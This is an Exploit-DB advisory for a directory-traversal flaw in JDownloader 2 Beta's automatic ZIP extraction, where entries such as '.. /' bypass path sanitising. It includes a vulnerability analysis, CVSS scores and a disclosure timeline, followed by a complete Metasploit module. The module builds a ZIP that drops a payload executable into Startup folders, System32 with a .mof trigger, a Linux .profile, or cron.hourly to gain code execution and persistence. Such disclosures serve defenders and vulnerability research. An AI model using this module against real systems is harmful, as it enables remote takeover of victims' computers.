JDownloader 2 Beta - Directory Traversal

EDB-ID:

37198

CVE:





Platform:

Multiple

Date:

2015-06-04


=begin
# Exploit Title: JDownloader 2 Beta Directory Traversal Vulnerability (Zip Extraction)
# Date: 2015-06-02
# Exploit Author: PizzaHatHacker
# Vendor Homepage: http://jdownloader.org/home/index
# Software Link: http://jdownloader.org/download/offline
# Version: 1171 <= SVN Revision <= 2331
# Contact: PizzaHatHacker[a]gmail[.]com
# Tested on: Windows XP SP3 / Windows 7 SP1
# CVE: 
# Category: remote

1. Product Description
Extract from the official website :
"JDownloader is a free, open-source download management tool with a huge community of developers that makes downloading as easy and fast as it should be. Users can start, stop or pause downloads, set bandwith limitations, auto-extract archives and much more. It's an easy-to-extend framework that can save hours of your valuable time every day!"

2. Vulnerability Description & Technical Details
JDownloader 2 Beta is vulnerable to a directory traversal security issue.

Class : org.appwork.utils.os.CrossSystem
Method : public static String alleviatePathParts(String pathPart)

This method is called with a user-provided path part as parameter,
and should return a valid and safe path where to create a file/folder.

This method first checks that the input filepath does not limit
itself to a (potentially dangerous) sequence of dots and otherwise 
removes it :
pathPart = pathPart.replaceFirst("\\.+$", "");

However right after this, the value returned is cleaned from
starting and ending white space characters :
return pathPart.trim();

Therefore, if you pass to this method a list of dots followed by some white space
like "..  ", it will bypass the first check and then return the valid path ".."
which is insecure.

This leads to a vulnerability when JDownloader 2 Beta just downloaded a ZIP file and
then tries to extract it. A ZIP file with an entry containing ".. " sequence(s) 
would cause JD2b to overwrite/create arbitrary files on the target filesystem.

3. Impact Analysis :
To exploit this issue, the victim is required to launch a standard ZIP file download.
The Unzip plugin is enabled by default in JDownloader : any ZIP file downloaded will
automatically be extracted.

By exploiting this issue, a malicious user may be able to create/overwrite arbitrary
files on the target file system.
Therefore, it is possible to take the control of the victim's machine with the rights of
the JDownloader process - typically standard (non-administrator) rights - for example by
overwriting existing executable files, by uploading an executable file in a user's
autorun directory etc.

4. Common Vulnerability Scoring System
* Exploitability Metrics
- Access Vector (AV) : Network (AV:N)
- Access Complexity (AC) : Medium (AC:M)
- Authentication (Au) : None (Au:N)

* Impact Metrics
- Confidentiality Impact (C) : Partial (C:P)
- Integrity Impact (I) : Partial (I:P)
- Availability Impact (A) : Partial (A:P)

* CVSS v2 Vector (AV:N/AC:M/Au:N/C:P/I:P/A:P)
- CVSS Base Score : 6.8
- Impact Subscore 6.4
- Exploitability Subscore 8.6

5. Proof of Concept
- Create a ZIP file with an entry like ".. /poc.txt"
- Upload it to an HTTP server (for example)
- Run a vulnerable revision of JDownloader 2 Beta and use it to download the file from the server
- JD2b will download and extract the file, which will create a "poc.txt" one level upper from your download directory

OR see the Metasploit Exploit provided.

6. Vulnerability Timeline
2012-04-27 : Vulnerability created (SVN Revision > 1170)
2014-08-19 : Vulnerability identified
[...]      : Sorry, I was not sure how to handle this and forgot about it for a long time
2015-05-08 : Vendor informed about this issue
2015-05-08 : Vendor response + Code modification (Revision 2332)
2015-05-11 : Code modification (SVN Revision 2333)
2015-05-11 : Notified the vendor : The vulnerable code is still exploitable via ".. .." (dot dot blank dot dot)
2015-05-12 : Code modification (SVN Revision 2335)
2015-05-12 : Confirmed to the vendor that the code looks now safe
2015-06-01 : JDownloader 2 Beta Update : Looks not vulnerable anymore
2015-06-04 : Disclosure of this document

7. Solution
Update JDownloader 2 Beta to the latest version.

8. Personal Notes

I am NOT a security professional, just a kiddy fan of security.
I was boring so I looked for some security flaws in some software and happily found this.
If you have any questions/remarks, don't hesitate to contact me by email.
I'm interesting in any discussion/advice/exchange/question/criticism about security/exploits/programming :-)
=end
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize( info = {} )

    super( update_info( info,
      'Name'          => 'JDownloader 2 Beta Directory Traversal Vulnerability',
      'Description'   => %q{
        This module exploits a directory traversal flaw in JDownloader 2 Beta 
        when extracting a ZIP file (which by default is automatically done by JDL).
        
        The following targets are available :
        Windows regular user : Create executable file in the 'Start Menu\Startup'
        under the user profile directory. (Executed at next session startup).
        Linux regular user : Create an executable file and a .profile script calling
        it in the user's home directory. (Executed at next session login).
        Windows Administrator : Create an executable file in C:\\Windows\\System32
        and a .mof file calling it. (Executed instantly).
        Linux Administrator : Create an executable file in /etc/crontab.hourly/.
        (Executed within the next hour).
		
		Vulnerability date : Apr 27 2012 (SVN Revision > 1170)
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'PizzaHatHacker <PizzaHatHacker[A]gmail[.]com>' ], # Vulnerability Discovery & Metasploit module
      'References'    =>
      [
        [ 'URL', 'http://jdownloader.org/download/offline' ],
      ],
      'Platform'      => %w{ linux osx solaris win },
      'Payload'       => {
        'Space' => 20480, # Arbitrary big number
        'BadChars' => '',
        'DisableNops' => true
    },
      'Targets'       =>
        [
          [ 'Windows Regular User (Start Menu Startup)',
            {
              'Platform'     => 'win',
              'Depth'        => 0, # Go up to root (C:\Users\Joe\Downloads\..\..\..\ -> C:\)
              'RelativePath' => 'Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/',
              'Option'       => nil,
            }
          ],
          [ 'Linux Regular User (.profile)',
            {
              'Platform'     => 'linux',
              'Depth'        => -2, # Go up 2 levels (/home/joe/Downloads/XXX/xxx.zip -> /home/joe/)
              'RelativePath' => '',
              'Option'       => 'profile',
            }
          ],
          [ 'Windows Administrator User (Wbem Exec)',
            {
              'Platform'     => 'win',
              'Depth'        => 0, # Go up to root (n levels)
              'RelativePath' => 'Windows/System32/',
              'Option'       => 'mof',
            }
          ],
          [ 'Linux Administrator User (crontab)',
            {
              'Platform'  => 'linux',
              'Depth'        => 0, # Go up to root (n levels)
              'RelativePath' => 'etc/cron.hourly/',
              'Option'       => nil,
            }
          ],
        ],
      'DefaultTarget'  => nil,
      'DisclosureDate' => ''
      ))
    
    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', '']),
        
         # C:\Users\Bob\Downloads\XXX\xxx.zip  => 4
         # /home/Bob/Downloads/XXX/xxx.zip     => 4
         OptInt.new('DEPTH', [true, 'JDownloader download directory depth. (0 = filesystem root, 1 = one subfolder under root etc.)', 4]),
      ], self.class)
  
 register_advanced_options(
   [
     OptString.new('INCLUDEDIR', [ false, 'Path to an optional directory to include into the archive.', '']),
   ], self.class)
  end
  
  # Traversal path
  def traversal(depth)
    result = '.. /'
    if depth < 0
      # Go up n levels
      result = result * -depth
    else
      # Go up until n-th level
      result = result * (datastore['DEPTH'] - depth)
    end
    return result
  end
  
  def exploit
    # Create a new archive
    zip = Rex::Zip::Archive.new
  
    # Optionally include an initial directory
    dir = datastore['INCLUDEDIR']
    if not dir.nil? and not dir.empty?
      print_status("Filling archive recursively from path #{dir}")
      zip.add_r(dir)
    end
  
    # Create the payload executable file path
    exe_name = rand_text_alpha(rand(6) + 1) + (target['Platform'] == 'win' ? '.exe' : '')
    exe_file = traversal(target['Depth']) + target['RelativePath'] + exe_name

    # Generate the payload executable file content
    exe_content = generate_payload_exe()

    # Add the payload executable file into the archive
    zip_add_file(zip, exe_file, exe_content)
  
    # Check all available targets
    case target['Option']
    when 'mof'
      # Create MOF file data
        mof_name = rand_text_alpha(rand(6) + 1) + '.mof'
        mof_file = traversal(0) + 'Windows\\System32\\Wbem\\Mof\\' + mof_name
        mof_content = generate_mof(mof_name, exe_name)
        zip_add_file(zip, mof_file, mof_content)
    when 'profile'
      # Create .profile file
      bashrc_name = '.profile'
      bashrc_file = traversal(target['Depth']) + bashrc_name
      bashrc_content = "chmod a+x ./#{exe_name}\n./#{exe_name}"
      zip_add_file(zip, bashrc_file, bashrc_content)
    end
    
    # Write the final ZIP archive to a file
    zip_data = zip.pack
    file_create(zip_data)
  end
  
  # Add a file to the target zip and output a notification
  def zip_add_file(zip, filename, content)
    print_status("Adding '#{filename}' (#{content.length} bytes)");
    zip.add_file(filename, content, nil, nil, nil)
  end
end